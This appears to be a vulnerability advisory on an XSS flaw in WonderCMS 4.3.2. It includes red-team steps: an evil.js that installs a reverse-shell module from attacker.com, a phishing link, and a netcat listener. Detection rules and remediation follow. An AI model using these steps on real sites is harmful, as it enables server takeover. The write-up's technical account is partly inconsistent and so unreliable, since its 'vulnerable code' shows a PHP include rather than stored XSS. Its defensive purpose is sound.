CVE-2024-58305

Executive Summary

CVE-2024-58305 is a critical stored cross-site scripting (XSS) vulnerability in WonderCMS version 4.3.2. The flaw resides in the module installation endpoint, allowing an unauthenticated attacker to inject malicious JavaScript. By crafting a specially designed XSS payload, an attacker can trick an authenticated administrator into accessing a malicious link, leading to the installation of a reverse shell module and subsequent remote command execution. This vulnerability poses a severe risk to the confidentiality, integrity, and availability of affected systems.

Supply Chain & Package Security

WonderCMS is a flat-file content management system distributed as a PHP application. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the core application. No official patch or advisory has been released by the vendor at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must click a malicious link
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability requires user interaction but can lead to full system compromise via reverse shell.

Deep Dive & Mechanics

The vulnerability exists in the module installation functionality of WonderCMS 4.3.2. The application fails to properly sanitize user-supplied input when processing module installation requests. An attacker can craft a URL containing a malicious JavaScript payload that, when visited by an authenticated administrator, executes in the context of the admin session.

The attack flow:

1. Attacker crafts a malicious link: http://target.com/?installModule=http://attacker.com/evil.js
2. The administrator, while logged in, clicks the link.
3. The evil.js payload executes, leveraging the admin's session to install a reverse shell module.
4. The reverse shell module provides the attacker with remote command execution on the server.

The root cause is the lack of input validation and output encoding on the installModule parameter. The application directly includes or processes the URL without checking for malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS 4.3.2):

// In modules.php or similar
if (isset($_GET['installModule'])) {
    $moduleUrl = $_GET['installModule'];
    // Directly includes or processes the URL without sanitization
    include($moduleUrl);
}

Patched Code (Hypothetical):

// Patched version
if (isset($_GET['installModule'])) {
    $moduleUrl = $_GET['installModule'];
    // Validate URL against a whitelist of trusted sources
    $allowedHosts = ['https://plugins.wondercms.com'];
    $parsedUrl = parse_url($moduleUrl);
    if (!in_array($parsedUrl['host'], $allowedHosts)) {
        die('Invalid module source.');
    }
    // Sanitize and validate the URL
    $moduleUrl = filter_var($moduleUrl, FILTER_VALIDATE_URL);
    if ($moduleUrl === false) {
        die('Invalid URL.');
    }
    // Proceed with installation
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running WonderCMS 4.3.2
• Attacker-controlled server to host malicious payload
• Authenticated admin session on the target

Exploitation Steps:

1. Host the malicious payload: Create a file evil.js on your attacker server:

   // evil.js - Reverse shell module installer
   var xhr = new XMLHttpRequest();
   xhr.open("GET", "/?installModule=http://attacker.com/reverse_shell.zip", true);
   xhr.send();
   

   The reverse_shell.zip should contain a PHP reverse shell module.

2. Craft the malicious link:

   http://target.com/?installModule=http://attacker.com/evil.js
   

3. Deliver the link to the admin (e.g., via phishing email or social engineering).

4. Upon admin click, the XSS executes, installing the reverse shell module.

5. Connect to the reverse shell using netcat:

   nc -lvnp 4444
   

Blue Team

Detection & Response:

1. Monitor for suspicious installModule GET parameters in web server logs:

   GET /?installModule=http://
   

2. Deploy WAF rules to block requests with installModule parameter containing external URLs.

3. Implement Content Security Policy (CSP) headers to restrict script execution.

4. Use web application firewalls to detect and block XSS payloads.

5. Enable input validation on the server side to sanitize all user-supplied data.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to attacker-controlled IPs on port 4444 (or other reverse shell ports)
  • HTTP requests containing installModule parameter with external URLs
  • Unusual POST requests to /modules/ directory

• File IOCs:

  • Unexpected files in /modules/ directory (e.g., reverse_shell.php)
  • Modified .htaccess files
  • New PHP files with obfuscated code

• Log IOCs:

  • Web server logs showing GET /?installModule=http:// entries
  • Admin login logs showing unusual access times

Detection Engineering

YARA Rule

rule CVE_2024_58305_WonderCMS_XSS {
    meta:
        description = "Detects malicious JavaScript payloads targeting WonderCMS installModule XSS"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-58305"
    strings:
        $xss_payload = /installModule=http:\/\/[^\s&]+/
        $js_payload = /\.js["']?\s*\)/
    condition:
        $xss_payload or $js_payload
}

Sigma Rule

title: WonderCMS CVE-2024-58305 XSS Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit the WonderCMS installModule XSS vulnerability
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'installModule=http://'
    condition: selection
falsepositives:
    - Legitimate module installations from trusted sources (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-58305 WonderCMS XSS Exploitation Attempt"; flow:to_server; content:"GET"; http_method; content:"installModule=http://"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the module installation feature if not required, by removing or commenting out the relevant code in modules.php.
2. Implement input validation for the installModule parameter – only allow URLs from a whitelist of trusted sources.
3. Apply output encoding to all user-supplied data before rendering.

Long-term Fixes:

1. Upgrade to a patched version once released by the vendor.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Conduct regular security audits and code reviews.
4. Educate administrators about phishing risks and the importance of verifying links.

Workaround:

• Restrict access to the admin panel using IP whitelisting or VPN.
• Use browser extensions that block XSS (e.g., NoScript).

Valters IT